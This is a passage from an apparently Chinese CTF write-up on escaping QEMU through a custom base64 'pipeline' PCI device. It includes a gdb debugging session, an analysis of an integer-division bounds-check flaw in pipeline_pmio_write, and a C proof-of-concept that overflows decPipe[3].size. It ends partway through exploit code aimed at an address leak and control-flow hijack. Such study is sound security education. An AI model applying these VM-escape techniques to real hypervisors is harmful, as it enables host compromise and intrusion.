<span class="n">read_block</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>编译,打包进文件系统,并执行,成功进行base64解码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">gcc</span> <span class="o">-</span><span class="k">static</span> <span class="n">test</span><span class="p">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">test</span>
<span class="err">➜</span> <span class="n">find</span> <span class="p">.</span> <span class="o">|</span> <span class="n">cpio</span> <span class="o">-</span><span class="n">H</span> <span class="n">newc</span> <span class="o">-</span><span class="n">o</span> <span class="o">></span> <span class="p">..</span><span class="o">/</span><span class="n">rootfs</span><span class="p">.</span><span class="n">cpio</span>
<span class="err">➜</span> <span class="n">cd</span> <span class="p">..</span> <span class="p">;</span> <span class="p">.</span><span class="o">/</span><span class="n">launch</span><span class="p">.</span><span class="n">sh</span>
<span class="o">/</span> <span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">test</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">xuanxuan</span>
</code></pre></div></div>
<h2 id="调试">调试</h2>
<p>主要目的还是看PipeLineState中数据的情况,可以把断点打在mmio或者pmio的任意函数上,然后通过第一个参数(rdi)得到,示例交互,调用pmio_write:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
</span>
<span class="kt">void</span> <span class="o">*</span> <span class="n">mmio</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">port_base</span> <span class="o">=</span> <span class="mh">0xc040</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">pmio_write</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">,</span> <span class="kt">int</span> <span class="n">val</span><span class="p">){</span> <span class="n">outl</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">mmio_write</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="n">value</span><span class="p">){</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="p">;}</span>
<span class="kt">int</span> <span class="nf">pmio_read</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">inl</span><span class="p">(</span><span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">char</span> <span class="nf">mmio_read</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">){</span> <span class="k">return</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">iopl</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">mmio_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/sys/devices/pci0000:00/0000:00:04.0/resource0"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_SYNC</span><span class="p">);</span>
<span class="n">mmio</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">mmio_fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>编译,打包进文件系统,并执行:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">gcc</span> <span class="o">-</span><span class="k">static</span> <span class="n">test</span><span class="p">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">test</span>
<span class="err">➜</span> <span class="n">find</span> <span class="p">.</span> <span class="o">|</span> <span class="n">cpio</span> <span class="o">-</span><span class="n">H</span> <span class="n">newc</span> <span class="o">-</span><span class="n">o</span> <span class="o">></span> <span class="p">..</span><span class="o">/</span><span class="n">rootfs</span><span class="p">.</span><span class="n">cpio</span>
<span class="err">➜</span> <span class="n">cd</span> <span class="p">..</span> <span class="p">;</span> <span class="p">.</span><span class="o">/</span><span class="n">launch</span><span class="p">.</span><span class="n">sh</span>
</code></pre></div></div>
<p>gdb挂上qemu进程并把断点打在pipeline_pmio_write函数上:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">ps</span> <span class="o">-</span><span class="n">ef</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">qemu</span>
<span class="n">xuan</span> <span class="mi">8956</span> <span class="mi">8955</span> <span class="mi">30</span> <span class="mi">22</span><span class="o">:</span><span class="mi">20</span> <span class="n">pts</span><span class="o">/</span><span class="mi">0</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mo">06</span> <span class="p">.</span><span class="o">/</span><span class="n">qemu</span><span class="o">-</span><span class="n">system</span><span class="o">-</span><span class="n">x86_64</span>
<span class="err">➜</span> <span class="n">sudo</span> <span class="n">gdb</span> <span class="o">--</span><span class="n">pid</span> <span class="mi">8956</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">b</span> <span class="n">pipeline_pmio_write</span>
<span class="n">Breakpoint</span> <span class="mi">1</span> <span class="n">at</span> <span class="mh">0x5650321e1d34</span><span class="o">:</span> <span class="n">file</span> <span class="p">..</span><span class="o">/</span><span class="n">hw</span><span class="o">/</span><span class="n">pci</span><span class="o">/</span><span class="n">pipeline</span><span class="p">.</span><span class="n">c</span><span class="p">,</span> <span class="n">line</span> <span class="mi">146</span><span class="p">.</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">c</span>
</code></pre></div></div>
<p>虚拟机里执行测试代码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">text</span>
</code></pre></div></div>
<p>断点断下,查看rdi寄存器,然后即可查看PipeLineState结构体:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span> <span class="n">i</span> <span class="n">r</span> <span class="n">rdi</span>
<span class="n">rdi</span> <span class="mh">0x565035a20f80</span> <span class="mh">0x565035a20f80</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">p</span> <span class="o">*</span><span class="p">((</span><span class="n">PipeLineState</span> <span class="o">*</span><span class="p">)(</span><span class="mh">0x565035a20f80</span><span class="p">))</span>
</code></pre></div></div>
<p>也可以单独查看结构体中的成员:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span> <span class="n">set</span> <span class="err">$</span><span class="n">a</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="n">PipeLineState</span> <span class="o">*</span><span class="p">)(</span><span class="mh">0x565035a20f80</span><span class="p">))</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">p</span> <span class="o">/</span><span class="n">x</span> <span class="err">$</span><span class="n">a</span><span class="p">.</span><span class="n">encPipe</span>
<span class="err">$</span><span class="mi">2</span> <span class="o">=</span> <span class="p">{</span><span class="err">\</span><span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">92</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">},</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">92</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">},</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">92</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">},</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">92</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">}</span><span class="err">\</span><span class="p">}</span>
</code></pre></div></div>
<p>也可以查看结构体中成员的地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span> <span class="n">p</span> <span class="o">/</span><span class="n">x</span> <span class="o">&</span><span class="p">((</span><span class="n">PipeLineState</span> <span class="o">*</span><span class="p">)(</span><span class="mh">0x565035a20f80</span><span class="p">)).</span><span class="n">encode</span>
<span class="err">$</span><span class="mi">26</span> <span class="o">=</span> <span class="mh">0x565035a21ce8</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">x</span> <span class="o">/</span><span class="mi">20</span><span class="n">gx</span> <span class="mh">0x565035a21ce8</span>
<span class="mh">0x565035a21ce8</span><span class="o">:</span> <span class="mh">0x00005650321e24f3</span> <span class="mh">0x00005650321e21bb</span>
<span class="mh">0x565035a21cf8</span><span class="o">:</span> <span class="mh">0x00007f8bb5c59450</span> <span class="mh">0x0000000000000000</span>
<span class="mh">0x565035a21d08</span><span class="o">:</span> <span class="mh">0x0000000000000061</span> <span class="mh">0x0000565035a20f10</span>
<span class="mh">0x565035a21d18</span><span class="o">:</span> <span class="mh">0x0000565035a20f30</span> <span class="mh">0x0000000000000000</span>
<span class="mh">0x565035a21d28</span><span class="o">:</span> <span class="mh">0x0000565032650105</span> <span class="mh">0x0000000000000000</span>
<span class="mh">0x565035a21d38</span><span class="o">:</span> <span class="mh">0x0000565032650183</span> <span class="mh">0x0000565032650199</span>
<span class="mh">0x565035a21d48</span><span class="o">:</span> <span class="mh">0x0000000000000000</span> <span class="mh">0x0000565035a20f80</span>
<span class="mh">0x565035a21d58</span><span class="o">:</span> <span class="mh">0x0000000000000000</span> <span class="mh">0x0000000000000000</span>
<span class="mh">0x565035a21d68</span><span class="o">:</span> <span class="mh">0x0000000000000061</span> <span class="mh">0x0000565035a20bb0</span>
<span class="mh">0x565035a21d78</span><span class="o">:</span> <span class="mh">0x0000565035a21dd0</span> <span class="mh">0x0000000000000000</span>
</code></pre></div></div>
<h2 id="漏洞">漏洞</h2>
<p>这个漏洞还是看了一会的,不过结合base64编解码的功能来看,最可能得漏洞点应该出在base64解码的位置,原因有二:</p>
<ol>
<li>对变长数据编解码的处理容易产生溢出读写</li>
<li>考虑利用的可能性,解码后的数据没有字符限制,更可以利用</li>
</ol>
<p>最终漏洞的确出现在pipeline_pmio_write中对base64解码处理的过程中:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">pipeline_pmio_write</span><span class="p">(</span><span class="n">PipeLineState</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">val</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">sizea</span><span class="p">;</span> <span class="c1">// [rsp+4h] [rbp-4Ch]</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">sizeb</span><span class="p">;</span> <span class="c1">// [rsp+4h] [rbp-4Ch]</span>
<span class="kt">int</span> <span class="n">pIdx</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-28h]</span>
<span class="kt">int</span> <span class="n">pIdxa</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-28h]</span>
<span class="kt">int</span> <span class="n">pIdxb</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-28h]</span>
<span class="kt">int</span> <span class="n">useSize</span><span class="p">;</span> <span class="c1">// [rsp+2Ch] [rbp-24h]</span>
<span class="kt">int</span> <span class="n">ret_s</span><span class="p">;</span> <span class="c1">// [rsp+34h] [rbp-1Ch]</span>
<span class="kt">int</span> <span class="n">ret_sa</span><span class="p">;</span> <span class="c1">// [rsp+34h] [rbp-1Ch]</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">iData</span><span class="p">;</span> <span class="c1">// [rsp+40h] [rbp-10h]</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">size</span> <span class="o">==</span> <span class="mi">4</span> <span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">addr</span> <span class="o">==</span> <span class="mi">16</span> <span class="p">){</span>
<span class="n">pIdxb</span> <span class="o">=</span> <span class="n">opaque</span><span class="o">-></span><span class="n">pIdx</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">pIdxb</span> <span class="o"><=</span> <span class="mi">7</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">pIdxb</span> <span class="o">></span> <span class="mi">3</span> <span class="p">)</span>
<span class="n">pIdxb</span> <span class="o">-=</span> <span class="mi">4</span><span class="p">;</span>
<span class="n">sizeb</span> <span class="o">=</span> <span class="n">opaque</span><span class="o">-></span><span class="n">encPipe</span><span class="p">[</span><span class="n">pIdxb</span><span class="p">].</span><span class="n">size</span><span class="p">;</span>
<span class="n">iData</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">opaque</span><span class="o">-></span><span class="n">encPipe</span><span class="p">[</span><span class="n">pIdxb</span><span class="p">].</span><span class="n">data</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">sizeb</span> <span class="o"><=</span> <span class="mh">0x5C</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">sizeb</span> <span class="p">)</span>
<span class="n">iData</span><span class="p">[</span><span class="n">sizeb</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">useSize</span> <span class="o">=</span> <span class="n">opaque</span><span class="o">-></span><span class="n">strlen</span><span class="p">(</span><span class="n">iData</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="mi">3</span> <span class="o">*</span> <span class="p">(</span><span class="n">useSize</span> <span class="o">/</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span> <span class="o"><=</span> <span class="mh">0x40</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">ret_sa</span> <span class="o">=</span> <span class="n">opaque</span><span class="o">-></span><span class="n">decode</span><span class="p">(</span><span class="n">iData</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">opaque</span><span class="o">-></span><span class="n">decPipe</span><span class="p">[</span><span class="n">pIdxb</span><span class="p">].</span><span class="n">data</span><span class="p">,</span> <span class="n">useSize</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">ret_sa</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
<span class="n">opaque</span><span class="o">-></span><span class="n">decPipe</span><span class="p">[</span><span class="n">pIdxb</span><span class="p">].</span><span class="n">size</span> <span class="o">=</span> <span class="n">ret_sa</span><span class="p">;</span>
<span class="p">...</span>
</code></pre></div></div>
<p>其opaque->decode调用的pipe_decode函数,不处理第三个size参数,所以解码过程,是直到扫描到输入字符串的空字符才结束。虽然useSize也是使用strlen进行了判断:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">3</span> <span class="o">*</span> <span class="p">(</span><span class="n">useSize</span> <span class="o">/</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span> <span class="o"><=</span> <span class="mh">0x40</span>
</code></pre></div></div>
<p>这里判断的标准边界应为<code class="language-plaintext highlighter-rouge">((0x40 - 1)/3)*4 == 84</code>,但是因为c语言整型的除法,84 到 87 这四个整数,都可以满足本判断,而size为87即可在解码时溢出后续数据。使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff位最大值:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="o">>>></span> <span class="n">b64e</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\xff\xff\xff</span><span class="s">'</span><span class="p">)</span>
<span class="s">'////'</span>
</code></pre></div></div>
<p>测试代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
</span>
<span class="kt">void</span> <span class="o">*</span> <span class="n">mmio</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">port_base</span> <span class="o">=</span> <span class="mh">0xc040</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">pmio_write</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">,</span> <span class="kt">int</span> <span class="n">val</span><span class="p">){</span> <span class="n">outl</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">mmio_write</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="n">value</span><span class="p">){</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="p">;}</span>
<span class="kt">int</span> <span class="nf">pmio_read</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">inl</span><span class="p">(</span><span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">char</span> <span class="nf">mmio_read</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">){</span> <span class="k">return</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">write_block</span><span class="p">(</span><span class="kt">int</span> <span class="n">idx</span><span class="p">,</span><span class="kt">int</span> <span class="n">size</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">data</span><span class="p">){</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">idx</span><span class="p">);</span> <span class="n">pmio_write</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">strlen</span><span class="p">(</span><span class="n">data</span><span class="p">);</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">mmio_write</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">offset</span><span class="p">,</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="c1">// init mmio and pmio</span>
<span class="n">iopl</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">mmio_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/sys/devices/pci0000:00/0000:00:04.0/resource0"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_SYNC</span><span class="p">);</span>
<span class="n">mmio</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">mmio_fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// write '/'*87 to block 2</span>
<span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
<span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="sc">'/'</span><span class="p">,</span><span class="mi">87</span><span class="p">);</span>
<span class="n">write_block</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x5c</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
<span class="c1">// decode block 2 to block 6, it will overflow block 7 size</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>调试可见<code class="language-plaintext highlighter-rouge">PipeLineState.decPipe[3].size</code>确实被溢出了:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span> <span class="n">b</span> <span class="n">pipeline_pmio_write</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">i</span> <span class="n">r</span> <span class="n">rdi</span>
<span class="n">rdi</span> <span class="mh">0x55ece5dd4f80</span> <span class="mh">0x55ece5dd4f80</span>
<span class="n">gef</span><span class="err">➤</span> <span class="n">p</span> <span class="o">/</span><span class="n">x</span> <span class="o">*</span><span class="p">((</span><span class="n">PipeLineState</span> <span class="o">*</span><span class="p">)(</span><span class="mh">0x55ece5dd4f80</span><span class="p">))</span>
<span class="n">decPipe</span> <span class="o">=</span> <span class="p">{</span><span class="err">\</span><span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">64</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">},</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">64</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">},</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xff</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">64</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">},</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="mh">0xff</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">64</span> <span class="n">times</span><span class="o">></span><span class="p">}</span>
<span class="p">}</span><span class="err">\</span><span class="p">},</span>
<span class="n">encode</span> <span class="o">=</span> <span class="mh">0x55ece3c634f3</span><span class="p">,</span>
<span class="n">decode</span> <span class="o">=</span> <span class="mh">0x55ece3c631bb</span><span class="p">,</span>
<span class="n">strlen</span> <span class="o">=</span> <span class="mh">0x7f8a9b4fc450</span>
</code></pre></div></div>
<h2 id="利用">利用</h2>
<p>利用方法就很明显了,溢出写<code class="language-plaintext highlighter-rouge">PipeLineState.decPipe[3].size</code>后,即可使用mmio_read/mmio_write越界读写<code class="language-plaintext highlighter-rouge">PipeLineState.decPipe[3].data</code>后续的函数指针,完成地址信息泄露以及控制流劫持。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
</span>
<span class="kt">void</span> <span class="o">*</span> <span class="n">mmio</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">port_base</span> <span class="o">=</span> <span class="mh">0xc040</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">pmio_write</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">,</span> <span class="kt">int</span> <span class="n">val</span><span class="p">){</span> <span class="n">outl</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">mmio_write</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="n">value</span><span class="p">){</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="p">;}</span>
<span class="kt">int</span> <span class="nf">pmio_read</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">inl</span><span class="p">(</span><span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">char</span> <span class="nf">mmio_read</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">){</span> <span class="k">return</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">write_block</span><span class="p">(</span><span class="kt">int</span> <span class="n">idx</span><span class="p">,</span><span class="kt">int</span> <span class="n">size</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">data</span><span class="p">){</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">idx</span><span class="p">);</span> <span class="n">pmio_write</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">strlen</span><span class="p">(</span><span class="n">data</span><span class="p">);</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">mmio_write</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">offset</span><span class="p">,</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">read_block</span><span class="p">(</span><span class="kt">int</span> <span class="n">idx</span><span class="p">,</span><span class="kt">int</span> <span class="n">size</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">data</span><span class="p">){</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">idx</span><span class="p">);</span>
